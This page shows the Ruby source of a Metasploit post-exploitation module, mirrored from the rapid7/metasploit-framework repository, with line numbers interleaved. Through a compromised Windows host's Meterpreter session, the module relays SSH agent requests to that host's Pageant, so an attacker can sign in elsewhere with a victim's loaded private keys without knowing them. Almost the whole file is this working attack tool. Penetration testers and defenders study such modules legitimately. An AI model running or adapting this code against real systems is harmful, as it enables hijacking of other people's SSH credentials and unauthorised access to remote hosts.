Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/forward_pageant.rb
28692 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'tmpdir'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::ExtAPI
10
include Msf::Post::Windows::Priv
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Forward SSH Agent Requests To Remote Pageant',
17
'Description' => %q{
18
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
19
If a target Windows machine is compromised and is running Pageant, this will allow the
20
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
21
tunneled through the meterpreter session. This could therefore be used to authenticate
22
with a remote host using a private key which is loaded into a remote user's Pageant instance,
23
without ever having knowledge of the private key itself.
24
25
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
26
loaded into the remote meterpreter session by this module if it is not already loaded.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
31
'Ben Campbell', # A HUGE amount of support in this :-)
32
],
33
'Platform' => [ 'win' ],
34
'SessionTypes' => [ 'meterpreter' ],
35
'Notes' => {
36
'Stability' => [CRASH_SAFE],
37
'Reliability' => [],
38
'SideEffects' => []
39
},
40
'Compat' => {
41
'Meterpreter' => {
42
'Commands' => %w[
43
extapi_pageant_send_query
44
]
45
}
46
},
47
'References' => [
48
[ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]
49
]
50
)
51
)
52
register_options([
53
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
54
])
55
end
56
57
def sockpath
58
@sockpath ||= "#{Dir.tmpdir}/#{Rex::Text.rand_text_alphanumeric(8)}"
59
end
60
61
def run
62
# Check to ensure that UNIX sockets are supported
63
begin
64
::UNIXServer
65
rescue NameError
66
fail_with(Failure::BadConfig, 'This module is only supported on a Metasploit installation that supports UNIX sockets.')
67
end
68
69
unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_PAGEANT_SEND_QUERY)
70
fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI Pageant queries')
71
end
72
73
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
74
if datastore['SocketPath']
75
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
76
if ::File.exist?(datastore['SocketPath'].to_s)
77
fail_with(Failure::BadConfig, "Socket (#{datastore['SocketPath']}) already exists. Remove it or choose another path and try again.")
78
end
79
@sockpath = datastore['SocketPath'].to_s
80
end
81
82
# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
83
::UNIXServer.open(sockpath) do |serv|
84
File.chmod(0o0700, sockpath)
85
86
print_status("Launched listening socket on #{sockpath}")
87
print_status("Set SSH_AUTH_SOCK variable to #{sockpath} (e.g. export SSH_AUTH_SOCK=\"#{sockpath}\")")
88
print_status('Now use any SSH tool normally (e.g. ssh-add)')
89
90
while (s = serv.accept)
91
begin
92
while (socket_request_data = s.recvfrom(8192)) # 8192 = AGENT_MAX
93
break if socket_request_data.nil?
94
95
data = socket_request_data.first
96
97
break if data.nil? || data.empty?
98
99
vprint_status("PageantJacker: Received data from socket (size: #{data.size})")
100
101
response = session.extapi.pageant.forward(data, data.size)
102
103
unless response[:success]
104
print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
105
next
106
end
107
108
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
109
110
begin
111
s.send(response[:blob], 0)
112
rescue StandardError
113
break
114
end
115
end
116
rescue Errno::ECONNRESET
117
vprint_status('PageantJacker: Received reset from client, ignoring.')
118
end
119
end
120
end
121
end
122
123
def cleanup
124
return unless @sockpath
125
126
# Remove the socket that we created, if it still exists
127
::File.delete(@sockpath) if ::File.exist?(@sockpath)
128
ensure
129
super
130
end
131
132
def translate_error(errnum)
133
errstring = "#{errnum}: "
134
case errnum
135
when 0
136
errstring + 'No error'
137
when 1
138
errstring + 'The Pageant request was not processed.'
139
when 2
140
errstring + 'Unable to obtain IPC memory address.'
141
when 3
142
errstring + 'Unable to allocate memory for Pageant<-->Meterpreter IPC.'
143
when 4
144
errstring + 'Unable to allocate memory buffer.'
145
when 5
146
errstring + 'Unable to build Pageant request string.'
147
when 6
148
errstring + 'Pageant not found.'
149
when 7
150
errstring + 'Not forwarded.'
151
else
152
errstring + 'Unknown.'
153
end
154
end
155
end
156
157